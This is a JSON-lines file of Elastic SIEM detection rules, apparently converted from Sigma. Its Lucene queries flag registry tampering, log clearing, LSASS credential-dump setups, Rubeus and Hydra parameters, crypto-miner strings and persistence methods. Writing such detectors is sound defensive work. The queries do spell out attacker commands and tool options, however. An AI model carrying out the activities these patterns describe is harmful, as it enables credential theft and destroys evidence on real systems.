{"description":"Detects changes to RDP terminal service sensitive settings Author: Samir Bousseaden, David ANDRE. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a10fc8c6-f1f1-18e5-17f8-067f1383da37","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"RDP Sensitive Settings Changed","query":"winlog.event_data.TargetObject:(*\\\\services\\\\TermService\\\\Parameters\\\\ServiceDll* OR *\\\\Control\\\\Terminal\\ Server\\\\fSingleSessionPerUser* OR *\\\\Control\\\\Terminal\\ Server\\\\fDenyTSConnections* OR *\\\\Policies\\\\Microsoft\\\\Windows\\ NT\\\\Terminal\\ Services\\\\Shadow* OR *\\\\Control\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\InitialProgram*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects changes to the Registry in which a monitor program gets registered to dump process memory of the lsass.exe process memory Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"94458f2f-79ad-c8d5-a1a9-69fc7518752e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"SilentProcessExit Monitor Registrytion for LSASS","query":"winlog.event_data.TargetObject:*Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\SilentProcessExit\\\\lsass.exe*","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ed0761e2-3aa1-8695-94ca-94966eee357a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"SilentProcessExit Monitor Registrytion","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\SilentProcessExit* AND winlog.event_data.Details:*MonitorProcess*)","meta":{"from":"1m"},"severity":"high","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects clear logs Author: Ã–mer GÃ¼nal, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"80915f59-9b56-4616-9de0-fd0dea6c12fe","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Clear Linux Logs","query":"(process.executable:(*\\/rm OR *\\/shred) AND process.command_line:(*\\/var\\/log* OR *\\/var\\/spool\\/mail*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others). Author: Ecco, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Admin activity","Scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cc36992a-4671-4f21-a91d-6c2b72a2edf5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Eventlog Clear or Configuration Using Wevtutil","query":"(((process.executable:*\\\\powershell.exe AND process.command_line:(*Clear\\-EventLog* OR *Remove\\-EventLog* OR *Limit\\-EventLog*)) OR (process.executable:*\\\\wmic.exe AND process.command_line:*\\ ClearEventLog\\ *)) OR (process.executable:*\\\\wevtutil.exe AND process.command_line:(*clear\\-log* OR *\\ cl\\ * OR *set\\-log* OR *\\ sl\\ *)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects CLR DLL being loaded by an Office Product Author: Antonlovesdnb. License: ","enabled":false,"false_positives":["Alerts on legitimate macro usage as well, will need to filter as appropriate"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8c295836-f279-2d1c-d41c-91654930c4a6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CLR DLL Loaded Via Office Applications","query":"(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:*\\\\clr.dll*)","meta":{"from":"1m"},"severity":"high","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects CLR DLL being loaded by an scripting applications Author: omkar72, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ff521eac-347a-8ce8-431f-782aab240c2f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CLR DLL Loaded Via Scripting Applications","query":"(process.executable:(*\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\mshta.exe) AND file.path:(*\\\\clr.dll OR *\\\\mscoree.dll OR *\\\\mscorlib.dll))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects code execution via Pester.bat (Pester - Powershell Modulte for testing) Author: Julia Fomina, oscd.community. License: ","enabled":false,"false_positives":["Legitimate use of Pester for writing tests for Powershell scripts and modules"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"59e938ff-0d6d-4dc3-b13f-36cc28734d4e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Execute Code with Pester.bat","query":"((process.executable:*\\\\powershell.exe AND process.command_line:*Pester* AND process.command_line:*Get\\-Help*) OR (process.executable:*\\\\cmd.exe AND process.command_line:*pester* AND process.command_line:*;* AND process.command_line:(*help* OR *?*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059","T1216"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1216","name":"Signed Script Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects code execution via the Windows Update client (wuauclt) Author: FPT.EagleEye Team. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"049681f0-b499-3293-7b1c-18bee00ec82b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Windows Update Client LOLBIN","query":"((process.command_line:*\\/UpdateDeploymentProvider* AND process.command_line:*\\/RunHandlerComServer* AND process.command_line:*.dll* AND process.executable:*\\\\wuauclt.exe) AND (NOT (process.command_line:(*\\ \\/ClassId\\ * OR *\\ wuaueng.dll\\ *))))","meta":{"from":"1m"},"severity":"high","tags":["T1105","T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects COM object hijacking via TreatAs subkey Author: Kutepov Anton, oscd.community. License: ","enabled":false,"false_positives":["Maybe some system utilities in rare cases use linking keys for backward compatibility"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b8c85b6a-333d-6f1a-c63c-887488d13917","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Windows Registry Persistence COM Key Linking","query":"(winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:*HKU\\\\* AND winlog.event_data.TargetObject:*Classes\\\\CLSID\\\\* AND winlog.event_data.TargetObject:*\\\\TreatAs*)","meta":{"from":"1m"},"severity":"medium","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects command line parameters or strings often used by crypto miners Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use of crypto miners"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"9069ea3c-b213-4c52-be13-86506a227ab1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Linux Crypto Mining Indicators","query":"process.command_line:(*\\ \\-\\-cpu\\-priority\\=* OR *\\-\\-donate\\-level\\=0* OR *\\ \\-o\\ pool.* OR *\\ \\-\\-nicehash* OR *\\ \\-\\-algo\\=rx\\/0\\ * OR *stratum\\+tcp\\:\\/\\/* OR *stratum\\+udp\\:\\/\\/* OR *sh\\ \\-c\\ \\/sbin\\/modprobe\\ msr\\ allow_writes\\=on* OR *LS1kb25hdGUtbGV2ZWw9* OR *0tZG9uYXRlLWxldmVsP* OR *tLWRvbmF0ZS1sZXZlbD* OR *c3RyYXR1bSt0Y3A6Ly* OR *N0cmF0dW0rdGNwOi8v* OR *zdHJhdHVtK3RjcDovL* OR *c3RyYXR1bSt1ZHA6Ly* OR *N0cmF0dW0rdWRwOi8v* OR *zdHJhdHVtK3VkcDovL*)","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects command line parameters or strings often used by crypto miners Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use of crypto miners"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"66c3b204-9f88-4d0a-a7f7-8a57d521ca55","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Windows Crypto Mining Indicators","query":"process.command_line:(*\\ \\-\\-cpu\\-priority\\=* OR *\\-\\-donate\\-level\\=0* OR *\\ \\-o\\ pool.* OR *\\ \\-\\-nicehash* OR *\\ \\-\\-algo\\=rx\\/0\\ * OR *stratum\\+tcp\\:\\/\\/* OR *stratum\\+udp\\:\\/\\/* OR *LS1kb25hdGUtbGV2ZWw9* OR *0tZG9uYXRlLWxldmVsP* OR *tLWRvbmF0ZS1sZXZlbD* OR *c3RyYXR1bSt0Y3A6Ly* OR *N0cmF0dW0rdGNwOi8v* OR *zdHJhdHVtK3RjcDovL* OR *c3RyYXR1bSt1ZHA6Ly* OR *N0cmF0dW0rdWRwOi8v* OR *zdHJhdHVtK3VkcDovL*)","meta":{"from":"1m"},"severity":"high","tags":["T1496"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1496","name":"Resource Hijacking","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service Author: Florian Roth. License: ","enabled":false,"false_positives":["unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1519ec8a-413c-8554-d98d-e0b0829e6e26","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"ADCSPwn Hack Tool","query":"(process.command_line:*\\ \\-\\-adcs\\ * AND process.command_line:*\\ \\-\\-port\\ *)","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1557"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1557","name":"Man-in-the-Middle","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects command line parameters used by Bloodhound and Sharphound hack tools Author: Florian Roth. License: ","enabled":false,"false_positives":["Other programs that use these command line option and accepts an 'All' parameter"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2940671e-408a-9b58-7b9e-45d40486f5dd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Bloodhound and Sharphound Hack Tool","query":"(process.executable:(*\\\\Bloodhound.exe* OR *\\\\SharpHound.exe*) OR process.command_line:(*\\ \\-CollectionMethod\\ All\\ * OR *.exe\\ \\-c\\ All\\ \\-d\\ * OR *Invoke\\-Bloodhound* OR *Get\\-BloodHoundData*) OR (process.command_line:*\\ \\-JsonFolder\\ * AND process.command_line:*\\ \\-ZipFileName\\ *) OR (process.command_line:*\\ DCOnly\\ * AND process.command_line:*\\ \\-\\-NoSaveCache\\ *))","meta":{"from":"1m"},"severity":"high","tags":["T1059","T1069","T1069","T1087","T1087","T1482"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1069","name":"Permission Groups Discovery","reference":""},{"id":"T1069","name":"Permission Groups Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""},{"id":"T1482","name":"Domain Trust Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects command line parameters used by Hydra password guessing hack tool Author: Vasiliy Burov. License: ","enabled":false,"false_positives":["Software that uses the caret encased keywords PASS and USER in its command line"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aaafa146-074c-11eb-adc1-0242ac120002","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Hydra Password Guessing Hack Tool","query":"(process.command_line:*\\-u\\ * AND process.command_line:*\\-p\\ * AND process.command_line:(*\\^USER\\^* OR *\\^PASS\\^*))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1110","T1110"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1110","name":"Brute Force","reference":""},{"id":"T1110","name":"Brute Force","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects command line parameters used by Koadic hack tool Author: wagga, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Pentest"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5cddf373-ef00-4112-ad72-960ac29bac34","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Koadic Execution","query":"(process.executable:*\\\\cmd.exe AND process.command_line:*\\/q* AND process.command_line:*\\/c* AND process.command_line:*chcp*)","meta":{"from":"1m"},"severity":"high","tags":["T1059","T1059","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects command line parameters used by Rubeus hack tool Author: Florian Roth. License: ","enabled":false,"false_positives":["unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7ec2c172-dceb-4c10-92c9-87c1881b7e18","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Rubeus Hack Tool","query":"process.command_line:(*\\ asreproast\\ * OR *\\ dump\\ \\/service\\:krbtgt\\ * OR *\\ kerberoast\\ * OR *\\ createnetonly\\ \\/program\\:* OR *\\ ptt\\ \\/ticket\\:* OR *\\ \\/impersonateuser\\:* OR *\\ renew\\ \\/ticket\\:* OR *\\ asktgt\\ \\/user\\:* OR *\\ harvest\\ \\/interval\\:* OR *\\ s4u\\ \\/user\\:* OR *\\ s4u\\ \\/ticket\\:* OR *\\ hash\\ \\/password\\:*)","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","Lateral Movement","T1003","T1550","T1558"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1558","name":"Steal or Forge Kerberos Tickets","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1550","name":"Use Alternate Authentication Material","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown, maybe some security software installer disables these features temporarily"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4dc0241a-1470-a89c-0943-2ab8092c3097","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Disabled IE Security Features","query":"((process.command_line:*\\ \\-name\\ IEHarden\\ * AND process.command_line:*\\ \\-value\\ 0\\ *) OR (process.command_line:*\\ \\-name\\ DEPOff\\ * AND process.command_line:*\\ \\-value\\ 1\\ *) OR (process.command_line:*\\ \\-name\\ DisableFirstRunCustomize\\ * AND process.command_line:*\\ \\-value\\ 2\\ *))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects command that is used to disable or delete Windows eventlog via logman Windows utility Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate deactivation by administrative staff","Installer tools that disable services, e.g. before log collection agent installation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5f8be944-de24-cb19-584f-39c925d5ee0b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Disable or Delete Windows Eventlog","query":"(process.command_line:*logman\\ * AND process.command_line:(*stop\\ * OR *delete\\ *) AND process.command_line:*EventLog\\-System*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1070","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""},{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects commandline operations on shell history files Author: Mikhail Larin, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrative activity","Ligitimate software, cleaning hist file"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"508a9374-ad52-4789-b568-fc358def2c65","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious History File Operations","query":"process.command_line:(*.bash_history* OR *.zsh_history* OR *.zhistory* OR *.history* OR *.sh_history* OR *fish_history*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool. Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate deinstallation by administrative staff"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"67418c6d-df3f-ee1b-b816-47b0afebc042","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Raccine Uninstall","query":"((process.command_line:*taskkill\\ * AND process.command_line:*RaccineSettings.exe*) OR (process.command_line:*reg.exe* AND process.command_line:*delete* AND process.command_line:*Raccine\\ Tray*) OR (process.command_line:*schtasks* AND process.command_line:*\\/DELETE* AND process.command_line:*Raccine\\ Rules\\ Updater*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects commands that temporarily turn off Volume Snapshots Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate administration"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fc17c1fa-dfca-30d4-f8f4-c4668c3a82e6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Disabled Volume Snapshots","query":"(process.command_line:*reg* AND process.command_line:*\\ add\\ * AND process.command_line:*\\\\Services\\\\VSS\\\\Diag* AND process.command_line:*\\/d\\ Disabled*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects commands used by Turla group as reported by ESET in May 2020 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ef5ec78f-99a5-fa9a-352c-08a78f54562d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Turla Group Commands May 2020","query":"(process.command_line:(*tracert\\ \\-h\\ 10\\ yahoo.com* OR *.WSqmCons\\)\\)|iex;* OR *Fr`omBa`se6`4Str`ing*) OR (process.command_line:*net\\ use\\ https\\:\\/\\/docs.live.net* AND process.command_line:*@aol.co.uk*))","meta":{"from":"1m"},"severity":"critical","tags":["T1027","T1053","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects CrackMapExecWin Activity as Described by NCSC Author: Markus Neis. License: ","enabled":false,"false_positives":["None"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"04d9079e-3905-4b70-ad37-6bdf11304965","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CrackMapExecWin","query":"process.executable:*\\\\crackmapexec.exe","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1087","T1110"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1110","name":"Brute Force","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1087","name":"Account Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"b22a5b36-2431-493a-8be1-0bae56c28ef3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Hidden User Creation","query":"(process.executable:*\\/dscl AND process.command_line:*create* AND ((process.command_line:*UniqueID* AND process.command_line:/([0-9]|[1-9][0-9]|[1-4][0-9]{2})/) OR (process.command_line:*IsHidden* AND process.command_line:(*true* OR *yes* OR *1*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects creation of a new service. Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrator or user creates a service for legitimate reasons."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7fe71fc9-de3b-432a-8d57-8c809efc10ab","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"New Service Creation","query":"((process.executable:*\\\\sc.exe AND process.command_line:*create* AND process.command_line:*binpath*) OR (process.executable:*\\\\powershell.exe AND process.command_line:*new\\-service*))","meta":{"from":"1m"},"severity":"low","tags":["Privilege Escalation","T1543"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"dfe8b941-4e54-4242-b674-6b613d521962","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Startup Items","query":"(file.path:*\\/Library\\/StartupItems\\/* AND file.path:*.plist)","meta":{"from":"1m"},"severity":"low","tags":["Privilege Escalation","T1037"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1037","name":"Boot or Logon Initialization Scripts","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1037","name":"Boot or Logon Initialization Scripts","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects creation or execution of UserInitMprLogonScript persistence method Author: Tom Ueltschi (@c_APT_ure). License: ","enabled":false,"false_positives":["exclude legitimate logon scripts","penetration tests, red teaming"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ee2f3b65-f5ac-0d10-6580-411e83bf1966","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Logon Scripts (UserInitMprLogonScript)","query":"((process.parent.executable:*\\\\userinit.exe AND (NOT ((process.executable:(*explorer.exe OR *\\\\proquota.exe)) OR (process.command_line:(*netlogon*.bat* OR *UsrLogon.cmd* OR *C\\:\\\\WINDOWS\\\\Explorer.EXE*))))) OR process.command_line:*UserInitMprLogonScript*)","meta":{"from":"1m"},"severity":"high","tags":["T1037"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1037","name":"Boot or Logon Initialization Scripts","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects creation or execution of UserInitMprLogonScript persistence method Author: Tom Ueltschi (@c_APT_ure). License: ","enabled":false,"false_positives":["exclude legitimate logon scripts","penetration tests, red teaming"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f19590fa-cc16-b7ee-def0-86fb26c469e0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Logon Scripts (UserInitMprLogonScript) Registry","query":"winlog.event_data.TargetObject:*UserInitMprLogonScript*","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1037"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1037","name":"Boot or Logon Initialization Scripts","reference":""}]}],"version":1,"references":[""]}
